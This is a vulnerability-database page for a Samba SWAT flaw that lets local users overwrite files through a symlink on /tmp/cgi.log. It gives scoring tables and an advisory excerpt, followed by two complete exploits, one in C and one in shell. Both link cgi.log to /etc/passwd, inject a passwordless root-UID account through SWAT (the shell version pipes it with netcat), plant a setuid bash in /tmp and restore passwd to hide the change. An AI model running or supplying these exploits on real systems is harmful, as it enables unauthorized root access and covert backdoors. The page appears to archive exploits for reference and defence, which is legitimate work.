CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
Services & Price
Help & Info
Search : CVE id, CWE id, CAPEC id, vendor or keywords in CVE
Samba Web Administration Tool (SWAT) in Samba 2.0.7 allows local users to overwrite arbitrary files via a symlink attack on the cgi.log file.
CVE Informations
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
7.2
AV:L/AC:L/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
2.53%
–
–
2022-03-27
–
–
2.53%
–
–
2022-04-03
–
–
2.53%
–
–
2022-06-19
–
–
2.53%
–
–
2022-12-25
–
–
2.53%
–
–
2023-01-01
–
–
2.53%
–
–
2023-02-26
–
–
2.53%
–
–
2023-03-12
–
–
–
0.04%
–
2024-02-18
–
–
–
0.04%
–
2024-06-02
–
–
–
0.04%
–
2024-06-02
–
–
–
0.04%
–
2024-12-22
–
–
–
0.05%
–
2025-02-09
–
–
–
0.05%
–
2025-01-19
–
–
–
0.05%
–
2025-02-16
–
–
–
0.05%
–
2025-03-18
–
–
–
–
0.21%
2025-03-30
–
–
–
–
0.21%
2025-04-15
–
–
–
–
0.21%
2025-04-15
–
–
–
–
0.21,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
// source: https://www.securityfocus.com/bid/1872/info
The Samba software suite is a collection of programs that implements the SMB protocol for unix systems, allowing you to serve files and printers to Windows, NT, OS/2 and DOS clients. This protocol is sometimes also referred to as the LanManager or Netbios protocol. Samba ships with a utility titled SWAT (Samba Web Administration Tool) which is used for remote administration of the Samba server and is by default set to run from inetd as root on port 701. Certain versions of this software ship with a vulnerability local users can use to leverage root access.
This problem in particular is a symlink problem where user can take advantage of poor programming in SWAT's logging facilities (which are not enabled by default) to overwrite files with user specified data. In this case, the logging is enabled under SWAT it logs by default to:
/tmp/cgi.log
This file logs all traffic to the web service, regrettably this file does not have restrictive permissions set on it and local users may symlink
the file to any other file (which they have read access to) on the system. They can then connect to the port in question (701 by default) and have the data they type in entered into a file of their choice, typically /etc/passwd .
/****************************************************************************\
** **
** Swat exploit for Samba 2.0.7 compiled with the cgi logging turned on **
** **
** shell script version available for our friends, the self-proclaimed **
** security experts at corky.net (h4h32h4h4h4h4), using netcat, as they **
** deem more elegant than a self-contained exploit (ala this .c), l4m3 **
** exploit by optyx <optyx@uberhax0r.net> **
** vulnerability discoverd by miah <miah@uberhax0r.net> **
** **
** on a side note, Just Marc rocks, so much, he doesn't set an sa pass **
** on his mysql server (doesn't take an elite hacker to use mysqlclient) **
** oh and a special message: **
** Hey babe, your hair's alright Hey babe, let's go out tonight (h4h4h) **
** **
\****************************************************************************/
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define REALLY_FUCKING_LONG_COMMAND "su uberhaxr -c \"cp -pdf /tmp/.bak \
/etc/passwd; chown root.root /etc/passwd; touch -fr /tmp/.bak /etc/passwd\""
int main(void) {
int r, s;
struct sockaddr_in s_addr;
printf("backing up /etc/passwd\n");
system("cp -pd /etc/passwd /tmp/.bak");
system("touch -r /etc/passwd /tmp/.bak");
if(system("/bin/ln -sf /etc/passwd /tmp/cgi.log") > 0) {
printf("error, /tmp/cgi.log could not be linked to /etc/passwd\n");
unlink("/tmp/.bak");
exit(-1);
}
printf("connecting to swat\n");
s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
if(s < 0) {
printf("error, could not create socket\n");
unlink("/tmp/.bak");
unlink("/tmp/cgi.log");
exit(-1);
}
s_addr.sin_family = PF_INET;
s_addr.sin_port = htons(901);
s_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
r = connect(s, (struct sockaddr *) &s_addr, sizeof(s_addr));
if(r==-1) {
printf("error, cannot connect to swat\n");
unlink("/tmp/.bak");
unlink("/tmp/cgi.log");
exit(-1);
}
send(s, "uberhaxr::0:0:optyx r0x y3r b0x:/:/bin/bash\n", 1024, 0);
close(s);
if(system("su -l uberhaxr -c \"cp -f /bin/bash /tmp/.swat\"") > 0) {
printf("exploit failed\n");
unlink("/tmp/.bak");
unlink("/tmp/cgi.log");
exit(-1);
}
system("su -l uberhaxr -c \"chmod u+s /tmp/.swat\"");
printf("restoring /etc/passwd\n");
system(REALLY_FUCKING_LONG_COMMAND);
unlink("/tmp/.bak");
unlink("/tmp/cgi.log");
printf("got root? (might want to rm /tmp/.swat)\n");
system("/tmp/.swat");
return 0;
}
source: https://www.securityfocus.com/bid/1872/info
The Samba software suite is a collection of programs that implements the SMB protocol for unix systems, allowing you to serve files and printers to Windows, NT, OS/2 and DOS clients. This protocol is sometimes also referred to as the LanManager or Netbios protocol. Samba ships with a utility titled SWAT (Samba Web Administration Tool) which is used for remote administration of the Samba server and is by default set to run from inetd as root on port 701. Certain versions of this software ship with a vulnerability local users can use to leverage root access.
This problem in particular is a symlink problem where user can take advantage of poor programming in SWAT's logging facilities (which are not enabled by default) to overwrite files with user specified data. In this case, the logging is enabled under SWAT it logs by default to:
/tmp/cgi.log
This file logs all traffic to the web service, regrettably this file does not have restrictive permissions set on it and local users may symlink
the file to any other file (which they have read access to) on the system. They can then connect to the port in question (701 by default) and have the data they type in entered into a file of their choice, typically /etc/passwd .
#!/bin/sh
# swat for samba 2.0.7 compiled with cgi logging exploit
# discovered by miah <miah@uberhax0r.net>
# exploit by optyx <optyx@uberhax0r.net>
if [ -f /tmp/cgi.log ]; then
if [ `rm -f /tmp/cgi.log` ]; then
echo "/tmp/cgi.log exists and cannot be deleted"
exit
fi
fi
echo "backing up /etc/passwd"
cp -pd /etc/passwd /tmp/.bak
touch -r /etc/passwd /tmp/.bak
ln -s /etc/passwd /tmp/cgi.log
echo "connecting to swat"
echo -e "uberhaxr::0:0:optyx r0x y3r b0x:/:/bin/bash\n"| nc -w 1 localhost swat
if [ `su -l uberhaxr -c "cp /bin/bash /tmp/.swat"` ]; then
echo "exploit failed"
rm /tmp/.bak
rm /tmp/cgi.log
exit
fi
su -l uberhaxr -c "chmod u+s /tmp/.swat"
echo "restoring /etc/passwd"
su -l uberhaxr -c "cp -pd /tmp/.bak /etc/passwd; \
chown root.root /etc/passwd; \
touch -r /tmp/.bak /etc/passwd"
rm /tmp/.bak
rm /tmp/cgi.log
echo "got root? (might want to rm /tmp/.swat)"
/tmp/.swat